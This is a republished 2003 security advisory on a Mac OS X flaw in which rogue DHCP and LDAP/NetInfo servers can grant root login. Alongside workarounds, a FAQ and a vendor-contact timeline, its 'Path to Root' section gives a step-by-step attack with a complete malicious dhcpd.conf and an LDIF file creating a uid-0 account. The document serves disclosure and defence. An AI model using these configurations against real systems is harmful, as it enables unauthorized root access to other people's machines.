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| A series of seemingly innocuous default settings can cause an affected Mac OS X machine to trust a malicious machine on a network for user, group, and volume mounting settings. |
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Credit:
The original advisory is available from: http://www.carrel.org/dhcp-vuln.html.
The information has been provided by William Carrel.
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Vulnerable systems:
* Mac OS X 10.3 (all versions through at least 26-Nov-2003)
* Mac OS X Server 10.3 (all versions through at least 26-Nov-2003)
* Mac OS X 10.2 (all versions through at least 26-Nov-2003)
* Mac OS X Server 10.2 (all versions through at least 26-Nov-2003)
* Probably earlier versions of Mac OS X and Mac OS X Server
* Possibly developer seeded copies of future versions of Mac OS X
What does this mean to the average user?
Anyone who can gain access to your network can gain administrator (root) access to your computer and therefore steal your data or launch attacks upon others as soon as you reboot your machine. System administrators and users of affected software should read the section "Workarounds" for immediate actions to protect their machines. It is important to note that WEP security in 802.11b/g (AirPort/AirPort Extreme) wireless networks is generally not sufficient to protect your network from access by an attacker.
Answers to Frequently Asked Questions:
Is my machine safe if I have the root account "turned off"?
No. The account attacking can be uid 0 and have any other name in the universe that is a valid account name.
Is my machine safe if I have all remote access services "turned off"?
No. This exploit allows malicious people full control of where things are mounting on your system. They can mount malware anywhere. Including places that can virtually guarantee executing of their target code. For example, an attacker could cause their evil data to be mounted as a crontab and have their fake root's crontab point to an evil executable mounted somewhere else. Bearing in mind that files can be NFS mounted as well as directories, this is not so far fetched.
Why did you release this when you did?
This was an exploitable remote root vulnerability. After Apple reneged on the Nov. 3rd release date William Carrel gave them 2-3 weeks. After the 2-3 weeks were up, William Carrel asked for the status and they said "December". Meanwhile, users are left exposed and independent rediscovery seemed fairly likely. And maybe by someone less scrupulous than myself. William Carrel felt he was being strung along and that the issue may never get properly addressed so William Carrel set a hard deadline at that point. They didn't meet it, and William Carrel issued his advisory.
It would not be fair of me to let Mac users hang out in the breeze for more than 2 months on an issue of this magnitude. You may disagree, but William Carrel has no regrets about his actions and feels that William Carrel was more than fair to Apple Computer and its users.
Does Airport really come up soon enough for netinfo to bind to it?
Yes. At least on the machines William Carrel has available for his testing. A poster on MacSlash has suggested that this isn't true on his machine. It may well be that this varies depending on hardware configuration. William Carrel doesn't have a complete line up of Apple's OS X capable hardware to test against, but William Carrel just reconfirmed that an iBook 600 MHz is vulnerable. Your mileage may vary.
Vendor Response:
Apple Computer has been notified of this issue and may be working a fix at this time. At the time of this writing, a fix is not available from Apple.
Apple Computer has made an article repeating the steps of the workaround below available online. Article 32478: Mac OS X: Directory Access Configuration In the Presence of a Malicious DHCP Response.
Article errata: Please note that the part of the article that states "For typical home network configurations with a broadband (DSL or cable service) modem and a NAT (Network Address Translation) device, such as Apple's Airport, this exploit is not possible." is not necessarily correct. If you have not secured your network (especially a wireless network) against malicious devices connecting to it, you can be exploited even if you are using NAT since the attack happens behind the NAT on your local subnet. As stated elsewhere in the advisory, 802.11b/g's "WEP" encryption is not adequate to secure a wireless network. On the other hand, the "WPA" encryption in the AirPort Extreme Base Stations is capable of securing your network against this attack. (At the time of this writing there are no known attacks against the "WPA" encryption method.)
Workarounds:
There are a variety of avenues to avoiding this vulnerability...
1. Disable any network authorization services from obtaining settings from DHCP:
* in Directory Access, select LDAPv3 in the Services tab, click "Configure...", uncheck "Use DHCP-supplied LDAP Server"
* in Directory Access, select NetInfo in the Services tab, click "Configure...", uncheck "Attempt to connect using broadcast protocol" and "Attempt to connect using DHCP protocol"
* in Directory Access, uncheck LDAPv3 and NetInfo in the Services tab, if you don't intend to use them
2. Turning off DHCP on all interfaces on your affected Mac OS X machine can also keep you from being affected.
For added security, be sure to disable any unused network ports:
* turn the AirPort card off or remove it, if it is not being used.
Configuration Awareness:
If a user should need any of these settings turned on due to the network and authorization system they are currently using, they should be aware that they could fall prey to a malicious individual using the techniques outlined in this advisory. Steps to mitigate this concern could be as simple as manually configuring the directory server settings on the affected machine.
Technical Details:
By default, the affected versions of Mac OS X attempt to negotiate DHCP on all available interfaces. In the event that an Airport card is installed but there is no network nearby, they also default to associate with any network that might appear and then use DHCP to obtain an address. The system will also use DHCP provided fields, if available, to connect to an LDAP or NetInfo server on the network.
The default settings in "Directory Access" on affected systems will cause the system to place the network LDAP or NetInfo server ahead of the local user info for any given account, and will implicitly trust the LDAP or NetInfo server to provide correct information. Furthermore, nothing in the system prevents a login as a user with uid 0 (zero) with any login name. For example, an LDAP or NetInfo source with an account username "bluemeanie", uid 0, would be perfectly valid and usable for login at the login window and on any network provided service, including SSH (which is turned on by default in certain versions of the affected software).
In most cases, the Mac will need to be booted into the malicious environment to be exploitable by this flaw. (The netinfod process must be restarted to cause the malicious server to be inserted into the authentication source list.)
By taking advantage of these default settings, a malicious individual could potentially take full control of a Mac OS X workstation or server without even having to make a physical connection to the machine. With a good antenna the malicious individual wouldn't even have to be in the same building.
While the further examples in this advisory deal exclusively with LDAP, this vulnerability is equally exploitable using a malicious NetInfo server.
An Attack Narrative on a Wireless Network:
A malicious individual sets up a laptop with an 802.11b card running in AP mode. The individual then sets up a DHCP server on the laptop to give addresses and ldap-server (DHCP option 95) responses that point to the laptop and a private network. The individual then sets up an LDAP server on the laptop pre-populated with a user account with uid 0 and the ou=macosxodconfig item with the appropriate XML for the field locations.
The individual then simply sits back and waits for the DHCP clients to take leases on the wireless network. When they do a simple port scan of the assigned address will reveal any ports that can be taken advantage of. At this point, the individual can install and run any malicious executable desired as uid 0.
The malicious individual at this point can turn the 802.11b card in their laptop off and the only trace of their malfeasance on the victim machine is possibly a few lines in the system logs.
Adapting the Attack to a Wired Network:
To adapt an attack on this vulnerability to a wired network the malicious individual simply needs to beat any legitimate DHCP server that might be on the network in sending a response out to a request for an address. If the machine was previously associated with a DHCP server this becomes more difficult but is by no means impossible. The wired attack or an attack on an existing 802.11b/g network is more complicated but still feasible.
The Path to Root:
Taking advantage of this vulnerability is unfortunately quite trivial. Here is a walk through of the steps needed for the wireless attack outlined above:
1. Take a fresh install of a UNIX-like system that supports a WiFi card.
2. Configure the WiFi card to address 192.168.42.1 with a /24 network mask, if possible put the WiFi card into AP mode with any network name.
3. Install ISC dhcpd, available as a pre-built package for nearly all UNIX-like systems.
4. Enter the following into the dhcpd.conf (but don't start it yet):
option ldap-server code 95 = text;
authoritative;
subnet 192.168.42.0 netmask 255.255.255.0 {
range 192.168.42.2 192.168.42.254;
option ldap-server "ldap://192.168.42.1/ou=evil";
}
5. Install OpenLDAP, available as a pre-built package for most UNIX-like systems.
6. Create a file /tmp/odconfig.xml with the OD mapping information OS X needs. Alternatively, the ou=macosxodconfig,ou=evil object can be created from an OS X machine using the Directory Access application.
7. Create a file evil.ldif with the following contents and feed it to ldapadd(1):
dn: ou=evil
objectClass: organizationalUnit
ou: people
dn: uid=bluemeanie,ou=evil
objectClass: posixAccount
uid: bluemeanie
userPassword: {crypt}some_crypted_password
cn: Malicious User
gecos: Malicious User
homeDirectory: /
loginShell: /bin/sh
uidNumber: 0
gidNumber: 0
dn: ou=macosxodconfig,ou=evil
objectClass: organizationalUnit
ou: macosxodconfig
description:< file://tmp/odconfig.xml
8. Confirm the creation of the above records using ldapsearch(1)
9. Start up the dhcpd process to the WiFi interface
10. Watch /var/db/dhcpd.leases for potentially vulnerable hosts who load the configuration
11. Portscan the vulnerable hosts with a tool such as Network Utility.app or nmap to find services
12. Log in to any presented services using the bluemeanie (uidNumber 0) credentials
Bear in mind that the vulnerable hosts may need netinfod(8) to be reloaded to fall prey, waiting for them to be rebooted is sufficient.
History of this Advisory & Vendor Contact Log:
2003-10-09 Initial version of this advisory
2003-10-09 Apple Computer notified
2003-10-09 Apple Computer confirmed receipt and forwarded to eng. team
2003-10-11 Minor edits, also added "Philosophical Issues" and "Path to Root"
2003-10-14 Apple Computer assigns specific point of contact
2003-10-14 Requested confirmation of issue with Apple Computer
2003-10-15 Apple Computer confirms issue
(2003-10-24 Original deadline given to Apple for acknowledging issue)
(2003-10-24 Mac OS X 10.3 is released with this known issue)
(2003-10-28 Mac OS X 10.3 Security Update released, does not address issue)
2003-10-28 Requested update of fix status from Apple Computer
2003-10-28 Apple Computer proposes Nov. 3 fix date
2003-10-29 Apple Computer reneges on Nov. 3 date
2003-10-29 Requested fix in "2 or 3 weeks" from Apple Computer
(2003-11-04 Mac OS X 10.3 Security Update released, does not address issue)
(2003-11-15 Mac OS X 10.3.1 is released with this known issue)
2003-11-17 Requested update of fix status from Apple Computer
2003-11-18 Requested update of fix status from Apple Computer
(2003-11-19 Mac OS X 10.3.1 Security Update released, does not address issue)
2003-11-19 Apple Computer replies "scheduled to go out in December's update"
2003-11-19 Deadline of Nov. 26 given to Apple Computer
2003-11-25 Minor edits, made "Path to Root" a little more work for the script kiddies
2003-11-26 Advisory issued (48 days after initial vendor notification)
2003-11-26 Added FAQ section at 2:10pm to address questions that have come up
2003-11-26 Fixed an error in the FAQ at 9 pm regarding the mount behavior
2003-11-27 Added a link to Apple's workaround article in "Vendor Response". (Found the link to this article at www.macintouch.com
2003-11-27 Added a note in "Vendor Response" to indicate that the technical article on this matter contains an error and emailed Apple to ensure they are aware of the error.
2003-11-27 Added a question to the FAQ relating to the ability of NetInfo to bind to the LDAP server on an Airport interface at boot time.
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